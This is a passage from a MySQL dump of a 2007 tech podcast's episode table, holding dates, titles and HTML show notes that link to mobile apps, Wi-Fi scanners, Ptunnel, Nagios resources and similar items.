(281,'2007-09-10','Smart Phones',2451,'','\r\nEgress (mobile RSS atom podcatcher) <br>\r\n\r\n<a href=\\\"http://www.garishkernels.net/software.html\\\">  http://www.garishkernels.net/software.html </a> <br>\r\n\r\n\r\n\r\n<br>\r\n\r\nTCPMP - The Core Pocket Media Player <br>\r\n\r\nif it\\\'s media, this plays it! <br>\r\n\r\n<a href=\\\"http://picard.exceed.hu/tcpmp\\\"> http://picard.exceed.hu/tcpmp </a> <br>\r\n\r\n\r\n\r\nStream YouTube, Google Video & Others w/TCPMP <br>\r\n\r\n<a href=\\\"http://tinyurl.com/2u7xlz\\\"> http://tinyurl.com/2u7xlz </a> <br>\r\n\r\n<a href=\\\"http://tinyurl.com/2oxpgb\\\"> http://tinyurl.com/2oxpgb </a> <br>\r\n\r\n<br>\r\n\r\nOpera (mobile web browser) <br>\r\n\r\n<a href=\\\"http://www.opera.com/products/mobile/products/wimmobileppc\\\"> http://www.opera.com/products/mobile/products/wimmobileppc </a> <br>\r\n\r\n\r\n\r\n<br>\r\n\r\nPocket IRC (mobile IRC!!) <br>\r\n\r\n<a href=\\\"http://pocketirc.com\\\"> http://pocketirc.com </a> <br>\r\n\r\n\r\n\r\n<br>\r\n\r\nAgile Messenger (MSN, AIM, ICQ, YAHOO, GOOGLE TALK, JABBER) <br>\r\n\r\n<a href=\\\"http://agilemobile.com\\\"> http://agilemobile.com </a> <br>\r\n\r\n\r\n\r\n<br>\r\n\r\nOctro Talk (Google Talk, Jabber) <br>\r\n\r\n<a href=\\\"http://octro.com\\\"> http://octro.com </a>\r\n\r\n\r\n\r\n<br>\r\n\r\nMini Stumbler (wifi scanner) <br>\r\n\r\n<a href=\\\"http://www.netstumbler.com/downloads\\\">http://www.netstumbler.com/downloads </a> <br>\r\n\r\n\r\n\r\n<br>\r\n\r\nWifi Fofum (wifi scanner) <br>\r\n\r\n<a href=\\\"http://www.acpecto-software.com/rw/applications/wififofum\\\"> http://www.acpecto-software.com/rw/applications/wififofum </a> <br>\r\n\r\n\r\n<br>\r\n\r\nPDAnet (PDA to laptop modem) <br>\r\n\r\n<a href=\\\"http://junefabrics.com/pdanet\\\"> http://junefabrics.com/pdanet </a> <br>\r\n\r\n<br>\r\n\r\n\r\n\r\nMicrosoft Live Search (mobile maps, locator, directions, etc)<br>\r\n\r\n<a href=\\\"http://www.microsoft.com/windowsmobile/livesearch/default.mspx\\\"> http://www.microsoft.com/windowsmobile/livesearch/default.mspx </a> <br>\r\n\r\n<br>\r\n<br>\r\n\r\n',25,0,1,'CC-BY-NC-SA','',0,0,1),
(282,'2007-09-12','Ptunnel',522,'','<a href=\\\"http://www.cs.uit.no/~daniels/PingTunnel/\\\">http://www.cs.uit.no/~daniels/PingTunnel/</a>',12,0,1,'CC-BY-NC-SA','',0,0,1),
(283,'2007-09-13','Grand Central',1265,'','No show notes\r\n<br>\r\n<br>',60,0,1,'CC-BY-NC-SA','',0,0,1),
(284,'2007-09-18','streaming mp3 files',400,'','No Show Notes\r\n<br>\r\n<br>',48,0,1,'CC-BY-NC-SA','',0,0,1),
(285,'2007-09-28','Make the switch',31,'','No show notes\r\n<br>\r\n<br>\r\n',13,0,1,'CC-BY-NC-SA','',0,0,1),
(286,'2007-11-05','Managing Time',1709,'','No show notes <br> <Br>',23,0,1,'CC-BY-NC-SA','',0,0,1),
(287,'2007-11-07','Clonezilla and Friends',738,'','No Show Notes <br> <br>',36,0,1,'CC-BY-NC-SA','',0,0,1),
(288,'2007-11-16','This week in twat',528,'','<pre>\r\n- Some new RFID Tech\r\n- Hard Drives sold with trojan horses installed\r\n- McGrew Security checks out crackmails.net\r\n</pre>',42,0,1,'CC-BY-NC-SA','',0,0,1),
(289,'2007-11-19','shmoocon meetup',270,'','<br>\r\nNo show notes\r\n<br>',62,0,1,'CC-BY-NC-SA','',0,0,1),
(290,'2007-11-21','Google 411',692,'','No show notes\r\n<br>\r\n',84,0,1,'CC-BY-NC-SA','',0,0,1),
(291,'2007-11-26','Ruby on Rails Primer',614,'','Archive:   <a href=\\\"http://www.twatech.org/shownotes/twat-ep291.tar.gz\\\"> twat-ep291.tar.gz </a> <br>\r\n<pre>\r\n	- Screenshots\r\n	- Rails example\r\n	- Rails resources\r\n</pre> ',64,0,1,'CC-BY-NC-SA','',0,0,1),
(292,'2007-11-29','From the Way back Machine',4400,'','orginal audio Defcon 7\r\n<br>\r\n',13,0,1,'CC-BY-NC-SA','',0,0,1),
(293,'2007-12-16','Telephonic Craptacular',640,'','No show notes\r\n<br>\r\n<br>',55,0,1,'CC-BY-NC-SA','',0,0,1),
(294,'2007-12-20','MC Frontalot mix',432,'','no show notes\r\n<br>\r\n<br>',68,0,1,'CC-BY-NC-SA','',0,0,1),
(295,'2007-12-21','Mirror Neurons',178,'','<a href=\\\"http://en.wikipedia.org/wiki/Mirror_neurons\\\"> http://en.wikipedia.org/wiki/Mirror_neurons </a><br>\r\n<a href=\\\"http://www.edge.org/discourse/mirror_neurons.html\\\"> http://www.edge.org/discourse/mirror_neurons.html</a><br>\r\n\r\n<a href=\\\"http://www.interdisciplines.org/mirror/papers/1\\\"> http://www.interdisciplines.org/mirror/papers/1 </a>\r\n<br>\r\n<br>\r\n\r\n',57,0,1,'CC-BY-NC-SA','',0,0,1),
(296,'2007-12-25','nagios',748,'','<a href= \\\"http://www.meulie.net/portal_plugins/forum/forum_viewtopic.php?9513.last\\\"> \r\nhttp://www.meulie.net/portal_plugins/forum/forum_viewtopic.php?9513.last   </a> <br>\r\n( http auth dont use check_http !) <br>\r\n<a href=\\\"http://www.meulie.net/portal_plugins/forum/forum_viewtopic.php?1897\\\">\r\nhttp://www.meulie.net/portal_plugins/forum/forum_viewtopic.php?1897  </a> <br>\r\n<br>\r\n\r\n<a href=\\\"http://www.meulie.net/portal_plugins/forum/forum_viewtopic.php?1817\\\">\r\nhttp://www.meulie.net/portal_plugins/forum/forum_viewtopic.php?1817 </a> <br>\r\n<a href=\\\"http://www.nagios.org/faqs/viewfaq.php?faq_id=162\\\"> http://www.nagios.org/faqs/viewfaq.php?faq_id=162 ( debug ) </a><br>\r\n<a href=\\\"http://www.nagios.org/faqs/viewfaq.php?faq_id=324\\\"> http://www.nagios.org/faqs/viewfaq.php?faq_id=324 ( POST ) </a> <br>\r\n<a href=\\\"http://www.nagiosexchange.org/nagios-users.34.0.html?&tx_maillisttofaq_pi1%5Bsort%5D=all_replies%3A1&tx_maillisttofaq_pi1%5Bmode%5D=1&tx_maillisttofaq_pi1%5BshowUid%5D=2220\\\">\r\nnagios mailing list </a> <br>\r\n<a href=\\\"http://www.nagios.org/faqs/viewfaq.php?faq_id=157\\\">\r\nhttp://www.nagios.org/faqs/viewfaq.php?faq_id=157 </a>\r\n<br>\r\n<br>\r\n\r\n\r\n\r\n<a href=\\\"http://del.icio.us/operat0r/NRPE\\\">\r\nhttp://del.icio.us/operat0r/NRPE </a> <br>\r\n<a href=\\\"http://del.icio.us/operat0r/nagios\\\">\r\nhttp://del.icio.us/operat0r/nagios </a>\r\n<br>\r\n<br>\r\n\r\n\r\nNTLM FIX !!! ( for webinject ) <br>\r\n<a href=\\\"http://www.webinject.org/cgi-bin/forums/YaBB.cgi?board=Development;action=display;num=1185818423;start=0#0\\\">\r\nforum post </a> <br>\r\n<a href =\\\"http://www.webinject.org/cgi-bin/forums/YaBB.cgi?board=Development;action=display;num=1185818423;start=1#1\\\"> another forum post </a> <br>\r\n\r\n\r\nMUSIC: <br>\r\n\r\nThe Crystal Method Comin  Back <br>\r\nState Of Bengal\\\\Visual Audio\\\\07-Hunters.mp3 <br>',36,0,1,'CC-BY-NC-SA','',0,0,1),
(297,'2007-12-26','Ever Onward IBM',160,'','IBM theme orginal audio from textfiles.com\r\n<br>\r\n<br>',39,0,1,'CC-BY-NC-SA','',0,0,1),
(298,'2007-12-27','Trashing with adam',768,'','No show notes\r\n<br>\r\n<br>',66,0,1,'CC-BY-NC-SA','',0,0,1),
(299,'2007-12-31','Iphone Madness',2785,'','some old audio I dug up <br>\r\nhosts include: <br>\r\nEnigma<br>\r\nfaceman <br>\r\nDrake Anubis <br>\r\nThoughtphreaker <br>\r\n',39,0,1,'CC-BY-NC-SA','',0,0,1),
(300,'2007-12-31','End Transmisson',258,'','check out <a href=\"http://www.hackerpublicradio.org\"> hackerpublicradio.org </a> \r\n<br>\r\n<br>',39,0,1,'CC-BY-NC-SA','',0,0,1),
(69,'0000-00-00','Phone Calls',0,'','More info on the Boston Phone System',0,0,1,'CC-BY-NC-SA','',0,0,1);
/*!40000 ALTER TABLE `twat_eps` ENABLE KEYS */;
UNLOCK TABLES;
/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;

/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;
/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;
/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;
/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;

-- Dump completed on 2023-08-07 11:35:48
